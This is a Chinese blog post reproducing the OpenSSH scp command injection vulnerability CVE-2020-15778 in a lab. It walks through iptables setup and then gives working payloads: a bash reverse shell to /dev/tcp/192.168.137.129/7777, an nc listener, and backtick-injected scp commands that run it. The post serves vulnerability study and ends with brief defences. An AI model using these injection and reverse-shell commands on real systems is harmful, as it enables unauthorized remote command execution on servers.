OpenSSH 命令注入漏洞复现(CVE-2020-15778)

OpenSSH 命令注入漏洞(CVE-2020-15778)

CVE编号: CVE-2020-15778

发布时间: 2020-07-24

危害等级: 高危

漏洞版本:<= openssh-8.3p1

漏洞描述: OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。(Linux scp 命令用于 Linux 之间复制文件和目录。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

利用条件: 知道目标的ssh密码

源码地址.

反引号在linux中的作用:

反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。

1 模拟场景

设置iptables策略模拟仅允许使用scp的场景,让该漏洞在特殊环境下实现命令注入。

2 实验场景部署

靶机环境: Centos 7

渗透机环境: Kali 2019版本

  1. 查看ssh版本
ssh -V

测试为漏洞存在版本。

  1. 测试ssh与scp在正常情况下的使用情况。

可以正常使用。

  1. 执行ervice iptables status 检查是否安装iptables,若已安装IP tables,可跳过第三步。

(1)安装iptables

yum install -y iptables

(2)安装iptables-services

yum install iptables-services

(3)centOS7默认自带firewalld

先停止firewalld服务 
systemctl stop firewalld
禁用firewalld服务 
systemctl mask firewalld

(4)查看现有规则

iptables -L -vn

iptables -F是清空默认规则

iptables -L -n --line-number 显示规则和相对应的编号
  1. 在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number
  1. 测试ssh与scp在已设置iptables策略下的使用情况。

3.SSH命令注入漏洞复现

  1. 在kali创建一个test.sh文件,并写入一个反弹shell的bash命令。
bash -i >& /dev/tcp/192.168.137.129/7777 0>&1

linux中.sh文件是什么?

linux中.sh文件是脚本文件,一般都是bash脚本。想运行的话就用sh命令运行sh xxx.sh。(注: sh或是执行脚本,或是切换到sh这个bash里,默认的shell是bash。当然,linux中sh是链接到bash上的,所以sh与bash在功能上是没有区别的。还有就是在执行脚本的时候是用sh + 脚本名的方式来执行,其实,大部分的时候,简单脚本只要权限设置正确,可以直接执行,不需要sh命令的。)

  1. 使用scp命令,把该文件上传到靶机的/test下
scp test.sh root@192.168.137.144:/test/test.sh
  1. 在新建的命令行页面中输入命令:
nc -lvp 7777
  1. 使用POC,远程执行命令。
scp test.sh root@192.168.137.144:'`sh /test/test.sh`'
  1. 可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。

(另一种)

scp null.txt root@192.168.137.144:'`bash -i>& /dev/tcp/192.168.137.129/7777 0>&1` /test/null.txt'

4 漏洞防御

1、周期性的更换密码或密钥

2、使用rsync代替scp

3、升级Openssh版本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值